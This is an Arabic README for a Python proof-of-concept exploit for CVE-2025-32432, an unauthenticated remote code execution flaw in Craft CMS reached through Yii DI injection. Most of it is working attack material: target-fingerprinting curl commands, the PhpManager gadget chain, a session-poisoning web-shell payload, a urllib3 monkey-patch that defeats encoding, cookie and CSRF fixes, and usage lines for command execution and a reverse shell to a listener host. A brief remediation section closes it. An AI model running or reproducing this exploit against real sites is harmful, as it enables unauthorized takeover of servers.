si13nttt/cve-2025-32432أداة PoC بلغة Python تستغل CVE-2025-32432، وهو تنفيذ أوامر عن بُعد (RCE) بدون مصادقة في Craft CMS عبر حقن أداة Yii DI، مع فحص assetId، وreverse shell، وإرشادات المعالجة.
الخطورة: حرجة (CVSS 10.0) المصادقة المطلوبة: لا شيء المتأثر: Craft CMS 3.0.0-RC1 - 3.9.14, 4.0.0-RC1 - 4.14.14, 5.0.0-RC1 - 5.6.16 تم إصلاحه في: Craft CMS 3.9.15 / 4.14.15 / 5.6.17, Yii2 2.0.50
قبل الاستغلال، تأكد من أن الهدف يشغّل إصدارًا عرضة للثغرة من Craft CMS.
curl -s http://target/cms/index.php | grep -i craft
curl -s http://target/cms/web.config
curl -s http://target/cms/composer.json | python3 -m json.tool | grep craftcms
curl -s -o /dev/null -w "%{http_code}" \
-X POST http://target/cms/actions/assets/generate-transform \
-H "Content-Type: application/json" \
-d '{"assetId":1,"handle":{"width":1,"height":1}}'
python3 exploit.py -u http://target/cms -c "id"
إذا احتوى المخرجات على uid= فإن الهدف مؤكد عرضته للثغرة وتم تحقيق RCE.
AssetsController::actionGenerateTransform() مُعلَّنة بـ allowAnonymous، مما يجعلها قابلة للوصول دون مصادقة. تمرر معامل handle الذي يتحكم به المستخدم مباشرة إلى Yii::createObject():
protected array|bool|int $allowAnonymous = ['generate-thumb', 'generate-transform'];
public function actionGenerateTransform(): Response
{
$handle = Craft::$app->getRequest()->getBodyParam('handle');
$transform = ImageTransforms::normalizeTransform($handle); // -> Yii::createObject($handle)
}
تعامل حاوية DI في Yii مفتاحين خاصين في المصفوفة دون أي قائمة سماح:
| المفتاح | السلوك |
|---|---|
__class | إنشاء نسخة من هذا الصنف بدلاً من النوع المُعلن |
__construct() | تمرير هذه القيم كوسائط للمُنشئ |
سلسلة gadget:
handle[as x][__class] = yii\rbac\PhpManager
handle[as x][__construct()] = [{"itemFile": "/tmp/sess_<CraftSessionId>"}]
|
PhpManager::init() -> load() -> loadFromFile($itemFile) -> require $itemFile
تسميم ملف الجلسة يُغلق الحلقة: يخزّن PHP معاملات GET حرفيًا في /tmp/sess_<CraftSessionId>. زرع <?=shell_exec($_GET['cmd']);exit;?> هناك يمنح RCE.
المشكلة الجذرية: مكتبة Python requests ترمّز <، >، ?، = قبل الإرسال. يخزّن معالج الجلسة في PHP البايتات المرمّزة بالنسبة المئوية — وليس PHP قابلًا للتنفيذ.
GET /index.php?p=admin/dashboard&cve202532432=%3C%3F%3Dshell_exec%28%24_GET%5B%27cmd%27%5D%29%3Bexit%3B%3F%3E HTTP/1.1
# Session file stores:
returnUrl|s:107:"...&cve202532432=%3C%3F%3Dshell_exec%28%24_GET%5B%27cmd%27%5D%29%3Bexit%3B%3F%3E"
# PHP sees a plain string — no PHP tags — nothing executes.
GET /index.php?p=admin/dashboard&cve202532432=<?=shell_exec($_GET['cmd']);exit;?> HTTP/1.1
# Session file stores:
returnUrl|s:107:"...&cve202532432=<?=shell_exec($_GET['cmd']);exit;?>"
# When require()'d, PHP executes shell_exec and returns the output.
الإصلاح: Monkey-patch لـ HTTPConnectionPool._make_request — آخر نقطة قبل TCP — واستدعاء urllib.parse.unquote() هناك:
def _raw_request(self, conn, method, url, **kw):
url = urllib.parse.unquote(url) # restore < > ? = just before socket write
return self._orig_req(conn, method, url, **kw)
urllib3.connectionpool.HTTPConnectionPool._orig_req = urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = _raw_request
المعيار: ملف تعريف الجلسة الافتراضي في PHP هو PHPSESSID. يتجاوزه Craft CMS في إعدادات تطبيقه:
// craft/config/app.php (Craft CMS source)
'session' => [
'class' => craft\web\Session::class,
'cookieName' => 'CraftSessionId', // <-- custom name, NOT PHPSESSID
],
هذا يعني أن ملف الجلسة على القرص هو /tmp/sess_<CraftSessionId>، وليس /tmp/sess_<PHPSESSID>.
| الخاصية | PHP الافتراضي | Craft CMS |
|---|---|---|
| اسم ملف تعريف الارتباط | PHPSESSID | CraftSessionId |
| ملف الجلسة | /tmp/sess_abc123 | /tmp/sess_abc123 |
| كيفية القراءة | session.cookies.get("PHPSESSID") | session.cookies.get("CraftSessionId") |
| ما يحدث إذا كان خاطئًا | يُرجَع None | مسار itemFile يشير إلى ملف غير موجود |
| النتيجة | يفشل الاستغلال بصمت | لا خطأ — require() يفشل فقط |
# BROKEN — reads PHPSESSID, gets None
session_id = session.cookies.get("PHPSESSID")
item_file = f"/tmp/sess_{session_id}" # -> "/tmp/sess_None" — does not exist
# FIXED — reads the actual Craft cookie
session_id = sess.cookies.get("CraftSessionId")
item_file = f"/tmp/sess_{session_id}" # -> "/tmp/sess_u8p2hn4kfgol9nbjkcvnv7ag6u"
يمكنك التحقق من اسم ملف تعريف الارتباط الصحيح بفحص DevTools في المتصفح بعد زيارة أي صفحة Craft، أو بفحص ترويسة استجابة Set-Cookie:
curl -sI http://target/cms/index.php | grep -i set-cookie
# Set-Cookie: CraftSessionId=u8p2hn4kfgol9nbjkcvnv7ag6u; path=/; HttpOnly
يتحقق Craft من رموز CSRF في جميع إجراءات POST غير المجهولة. حذف الرمز يسبب 400 Bad Request.
# BROKEN
requests.post(url, json=payload)
# FIXED — extract CRAFT_CSRF_TOKEN from login page HTML, send as header
requests.post(url, json=payload, headers={"X-CSRF-Token": csrf})
| المشكلة | PoCs تسميم السجل | الجلسة (ملف تعريف خاطئ) | الجلسة (بدون CSRF) | هذا PoC |
|---|---|---|---|---|
| ترميز URL | غير منطبق (User-Agent) | معطوب | معطوب | مُصلَح بـ monkey-patched |
| اسم ملف تعريف الارتباط | غير منطبق | معطوب PHPSESSID | معطوب PHPSESSID | مُصلَح CraftSessionId |
| CSRF عند التشغيل | جيد | جيد | معطوب | مُصلَح |
| exit; في السجل القديم | معطوب | غير منطبق | غير منطبق | غير منطبق |
| يعمل على بادئة /cms | معطوب | معطوب | معطوب | مُصلَح |
usage: exploit.py [-h] -u URL [-c CMD] [-a ASSET_ID] [-s SCAN_MAX]
[--revshell] [--lhost LHOST] [--lport LPORT]
options:
-u URL Craft CMS base URL including path prefix
-c CMD Shell command to execute
-a ASSET_ID Known valid assetId (skips auto-scan)
-s SCAN_MAX Upper bound for assetId scan (default: 50)
--revshell Send a Python3 reverse shell
--lhost LHOST Listener IP (required with --revshell)
--lport LPORT Listener port (required with --revshell)
python3 exploit.py -u http://target:8088/cms -c "id"
python3 exploit.py -u http://target:8088/cms -c "cat /flag/flag.txt"
# Reverse shell (Python3 — avoids /dev/tcp and bash quoting issues)
nc -lvnp 4444
python3 exploit.py -u http://target:8088/cms --revshell --lhost 10.10.14.1 --lport 4444
| الإجراء | التفاصيل |
|---|---|
| ترقية Craft CMS | 3.9.15 / 4.14.15 / 5.6.17 تتحقق من أن handle يطبّق ImageTransformerInterface |
| ترقية Yii2 | 2.0.50 تحجب حقن __class في Component::__set |
| قاعدة WAF | حجب __class أو __construct() في جسم الطلب إلى /actions/assets/generate-transform |
| الفرع | عرضة للثغرة | مُرقَّع |
|---|---|---|
| 3.x | 3.0.0-RC1 – 3.9.14 | 3.9.15+ |
| 4.x | 4.0.0-RC1 – 4.14.14 | 4.14.15+ |
| 5.x | 5.0.0-RC1 – 5.6.16 | 5.6.17+ |
cd /var/www/craftapp
grep -rn 'allowAnonymous' vendor/craftcms/cms/src/controllers/AssetsController.php
grep -n 'function actionGenerateTransform' -A 20 vendor/craftcms/cms/src/controllers/AssetsController.php